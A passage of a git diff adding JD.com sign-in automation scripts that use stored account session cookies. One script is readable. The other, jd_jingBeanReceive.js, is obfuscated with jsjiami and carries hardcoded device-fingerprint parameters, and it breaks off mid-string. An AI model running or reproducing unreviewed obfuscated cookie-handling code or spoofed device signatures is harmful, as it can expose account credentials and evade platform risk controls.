s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_jin_tie.js b/jd_jin_tie.js new file mode 100644 index 0000000..5d2fe86 --- /dev/null +++ b/jd_jin_tie.js @@ -0,0 +1,488 @@ +/* + 领金贴(只签到) Fixed By X1a0He + Last Modified time: 2022-05-28 15:00:00 + Last Modified By X1a0He + 活动入口:京东APP首页-领金贴,[活动地址](https://active.jd.com/forever/cashback/index/) + */ +const $ = new Env('领金贴'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + await main(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}); + +async function main() { + try { + await channelUserSignInfo_xh(); + await channelUserSubsidyInfo_xh(); + } catch (e) { + $.logErr(e); + } +} + +function channelUserSignInfo_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "" } + }); + const options = taskUrl_xh('channelUserSignInfo', body, 'jrm'); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + $.keepSigned = 0; + let state = false; + for (let i in data.resultData.data.signDetail) { + if (data.resultData.data.signDetail[i].signed) $.keepSigned += 1; + if (data.resultData.data.dayId === data.resultData.data.signDetail[i].id) { + state = data.resultData.data.signDetail[i].signed; + console.log('获取签到状态成功', state ? '今日已签到' : '今日未签到', '连续签到', $.keepSigned, '天\n'); + } + } + if (!state) await channelSignInSubsidy_xh(); + } else { + console.log('获取签到状态失败', data.resultData.msg); + } + } else { + console.log('获取签到状态失败', data.resultMsg); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function channelSignInSubsidy_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "", "token": "" } + }); + const options = taskUrl_xh('channelSignInSubsidy', body, 'jrm'); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + if (data.resultData.data.signSuccess) { + console.log(`签到成功,获得 0.0${data.resultData.data.rewardAmount}元`); + } + } else if (data.resultData.code === '001') { + console.log(`签到失败,可能今天已签到`); + } else { + // console.log(data) + console.log("签到失败"); + } + } else { + // console.log(data) + console.log("签到失败"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function channelUserSubsidyInfo_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "" } + }); + const options = taskUrl_xh('channelUserSubsidyInfo', body, 'jrm'); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 当前总金贴:${data.resultData.data.availableAmount}元`); + } else { + console.log('获取当前总金贴失败', data); + } + } else { + console.log('获取当前总金贴失败', data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl_xh(function_id, body, type = 'mission') { + return { + url: `https://ms.jr.jd.com/gw/generic/${type}/h5/m/${function_id}?reqData=${encodeURIComponent(body)}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com`, + 'Accept-Language': `zh-cn` + } + }; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} + +// prettier-ignore +function Env(t, e) { + class s { + constructor(t) { this.env = t; } + + send(t, e = "GET") { + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s);});}); + } + + get(t) {return this.send.call(this.env, t);} + + post(t) {return this.send.call(this.env, t, "POST");} + } + + return new class { + constructor(t, e) {this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`);} + + isNode() {return "undefined" != typeof module && !!module.exports;} + + isQuanX() {return "undefined" != typeof $task;} + + isSurge() {return "undefined" != typeof $httpClient && "undefined" == typeof $loon;} + + isLoon() {return "undefined" != typeof $loon;} + + toObj(t, e = null) {try {return JSON.parse(t);} catch {return e;}} + + toStr(t, e = null) {try {return JSON.stringify(t);} catch {return e;}} + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try {s = JSON.parse(this.getdata(t));} catch {} + return s; + } + + setjson(t, e) {try {return this.setdata(JSON.stringify(t), e);} catch {return !1;}} + + getScript(t) {return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i));});} + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)); + }).catch(t => this.logErr(t)); + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try {return JSON.parse(this.fs.readFileSync(i));} catch (t) {return {};} + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r); + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r; + } + + lodash_set(t, e, s) {return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t);} + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e; + } catch (t) {e = "";} + } + return e; + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i); + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i); + } + } else s = this.setval(t, e); + return s; + } + + getval(t) {return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null;} + + setval(t, e) {return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null;} + + initGotEnv(t) {this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar));} + + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i);})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar; + } + } catch (t) {this.logErr(t);} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + })); + } + + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i);}); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + }); + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t; + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s }; + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s }; + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { url: e }; + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t); + } + } + + log(...t) {t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator));} + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t); + } + + wait(t) {return new Promise(e => setTimeout(e, t));} + + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + }(t, e); +} diff --git a/jd_jingBeanReceive.js b/jd_jingBeanReceive.js new file mode 100644 index 0000000..697fd8e --- /dev/null +++ b/jd_jingBeanReceive.js @@ -0,0 +1,7 @@ +/* +#专属礼 +6 10 * * * jd_jingBeanReceive.js, tag=专属礼, enabled=true + +*/ +var _0xodg='jsjiami.com.v6',_0xodg_=['‮_0xodg'],_0x1216=[_0xodg,'bmlja05hbWU=','bWF4UGFnZQ==','REJHb2s=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','dGltZQ==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','SnVVU1c=','elRTZGc=','dVhNTGE=','dEVvRUI=','VVBwclU=','dWN0anU=','WVRIUnc=','bXR5cHk=','YklGUFg=','ZU5XZHY=','YXhLUVU=','Z2V0Sm95SW5mbw==','Ym9keT0lN0IlMjJmaXJzdFR5cGUlMjIlM0EtMTAwJTJDJTIycGx1Z2luX3ZlcnNpb24lMjIlM0E5MDU1OCU3RCZjbGllbnQ9YXBwbGUmY2xpZW50VmVyc2lvbj0xMS4wLjImc3Q9MTY1ODA0NTA1MjcyNSZzdj0xMDImZXA9JTdCJTIyY2lwaGVydHlwZSUyMiUzQTUlMkMlMjJjaXBoZXIlMjIlM0ElN0IlMjJzY3JlZW4lMjIlM0ElMjJDSk95RElleUROQzIlMjIlMkMlMjJ3aWZpQnNzaWQlMjIlM0ElMjJaSnV5RDJTeUNXVHdZSnEyRE5VMlpOcnVFV1RzWXpTbkN0YzRDTlZzWUp1JTNEJTIyJTJDJTIyb3NWZXJzaW9uJTIyJTNBJTIyQ0pHa0NLJTNEJTNEJTIyJTJDJTIyYXJlYSUyMiUzQSUyMkNKUHBDSlVtWHpVbkR0U3pYek95RHpLMCUyMiUyQyUyMm9wZW51ZGlkJTIyJTNBJTIyWTJZNUNRWW1DSnV6Q3pxM0N3RzJaTlZ0WXRPekN6R25aTlB2Q3pxM0QySHZDSkNuRUpIdUVLJTNEJTNEJTIyJTJDJTIydXVpZCUyMiUzQSUyMlkyWTVDUVltQ0p1ekN6cTNDd0cyWk5WdFl0T3pDekduWk5QdkN6cTNEMkh2Q0pDbkVKSHVFSyUzRCUzRCUyMiU3RCUyQyUyMnRzJTIyJTNBMTY1ODA0NTA1MjcyNSUyQyUyMmhkaWQlMjIlM0ElMjJKTTlGMXl3VVB3Zmx2TUlwWVBvazB0dDVrOWtXNEFySkVVM2xmTGh4QnF3JTNEJTIyJTJDJTIydmVyc2lvbiUyMiUzQSUyMjEuMC4zJTIyJTJDJTIyYXBwbmFtZSUyMiUzQSUyMmNvbS4zNjBidXkuamRtb2JpbGUlMjIlMkMlMjJyaWR4JTIyJTNBLTElN0QmZWY9MSZzaWduPWJmOTVmNDJmNmIzZDA2MDc2YzNmNDBkZmQ5MmI0ZTdi','blhvcXY=','U0F5c0Y=','RGdaWHc=','TE9iUnA=','Vmp0TXY=','aVBIU1I=','WVphREg=','cmdrbVc=','alRZWEs=','dHlxRVk=','dE1wdFU=','eWNMbVQ=','bk55SGM=','Rm9paW4=','cG9zdA==','dUtjeVU=','V3JqWlI=','dGhCVWg=','WEdGY0k=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cGFyc2U=','TWJoVEc=','SnRUS0s=','c3RyaW5naWZ5','TXRRV2E=','SWplRFQ=','dFh5cVQ=','REZFZWU=','bU1yRXo=','dkFSZHk=','WVZaY3E=','ekJ0U00=','UmdrWlg=','bGZPR3M=','QVlDVVk=','c1VRSVE=','d2luZG93c0NvbnRlbnQ=','bG9nRXJy','cmZBQUk=','TW5wSmg=','c3lHVXQ=','ZEtwaEk=','eVRJUk8=','TldvWUQ=','Rmp3QXI=','amluZ0JlYW5SZWNlaXZl','Ym9keT0lN0IlMjJlbmNyeXB0QXNzaWdubWVudElkJTIyJTNBJTIyNmJ6Y3U4Wk5QSEZodVdaQzU1TWhMZ0pDUGlXJTIyJTJDJTIyZmlyc3RUeXBlJTIyJTNBLTEwMCUyQyUyMnBsdWdpbl92ZXJzaW9uJTIyJTNBOTA1NTglN0QmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTEuMC4yJnN0PTE2NTgwNDUwNTMwNjgmc3Y9MTExJmVwPSU3QiUyMmNpcGhlcnR5cGUlMjIlM0E1JTJDJTIyY2lwaGVyJTIyJTNBJTdCJTIyc2NyZWVuJTIyJTNBJTIyQ0pPeURJZXlETkMyJTIyJTJDJTIyd2lmaUJzc2lkJTIyJTNBJTIyWXRTNUNKUzREdEsyWUpjbUROWndEMlMyQ05PMlpXT3pFV0cwRU5VMlpOWSUzRCUyMiUyQyUyMm9zVmVyc2lvbiUyMiUzQSUyMkNKVWtDSyUzRCUzRCUyMiUyQyUyMmFyZWElMjIlM0ElMjJDdFpwQ0pZMlh6U21EektuWHpPMkRKYzMlMjIlMkMlMjJvcGVudWRpZCUyMiUzQSUyMkRXVnRZdENtRHRTNENXUzNESlV6RHpQdVp0QzFFSnExRVFad1l6UzJDdGM0Wk5HblpKR3paRyUzRCUzRCUyMiUyQyUyMnV1aWQlMjIlM0ElMjJEV1Z0WXRDbUR0UzRDV1MzREpVekR6UHVadEMxRUpxMUVRWndZelMyQ3RjNFpOR25aSkd6WkclM0QlM0QlMjIlN0QlMkMlMjJ0cyUyMiUzQTE2NTgwNDUwNTMwNjglMkMlMjJoZGlkJTIyJTNBJTIySk05RjF5d1VQd2Zsdk1JcFlQb2swdHQ1azlrVzRBckpFVTNsZkxoeEJxdyUzRCUyMiUyQyUyMnZlcnNpb24lMjIlM0ElMjIxLjAuMyUyMiUyQyUyMmFwcG5hbWUlMjIlM0ElMjJjb20uMzYwYnV5LmpkbW9iaWxlJTIyJTJDJTIycmlkeCUyMiUzQS0xJTdEJmVmPTEmc2lnbj01YTIxYTZmMjE4MDc2NWYzNDg1MTIzNTdjNjdiOGY1Yg==','TmJqdmQ=','QktNeEE=','Zmp1Qm8=','am9qS28=','aEZlWkY=','aUxZWGE=','cXdZTHY=','V29vSUw=','QkZCcGM=','TFJCTlY=','bW5pRVk=','cE5IRFI=','RHdDWXk=','YmxDb2s=','VFhVTm8=','WktiSnM=','ZndmU2Q=','ZE9HZXc=','UkFLZGw=','dUZlSUU=','Q3h0dGI=','akFpS28=','RGVxSlo=','aW5XTGw=','d3pVWkU=','Y29kZQ==','aXNTdWNjZXNz','aWFkanA=','dG9Wdkw=','c0dkQlU=','alJURk4=','bWVzc2FnZQ==','a255Z0s=','c0pqZWM=','WVRHWmQ=','T29QQWo=','YXBpLm0uamQuY29t','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','Ki8q','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPQ==','UXpTclo=','UHJXS2o=','eXJLWEM=','QVNWeXI=','SXBBUWc=','c3JXY0s=','eGdvbVY=','cmFuZG9t','SWpxTmI=','TmhsTWY=','bFdkYUM=','RG5LWlo=','VGlIU3U=','cmV0Y29kZQ==','YmFzZQ==','SnR6SVg=','UkdSUEg=','cWROc1E=','YXBwbGljYXRpb24vanNvbix0ZXh0L3BsYWluLCAqLyo=','Z3ppcCwgZGVmbGF0ZSwgYnI=','emgtY24=','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly93cXMuamQuY29tL215L2ppbmdkb3UvbXkuc2h0bWw/c2NlbmV2YWw9Mg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC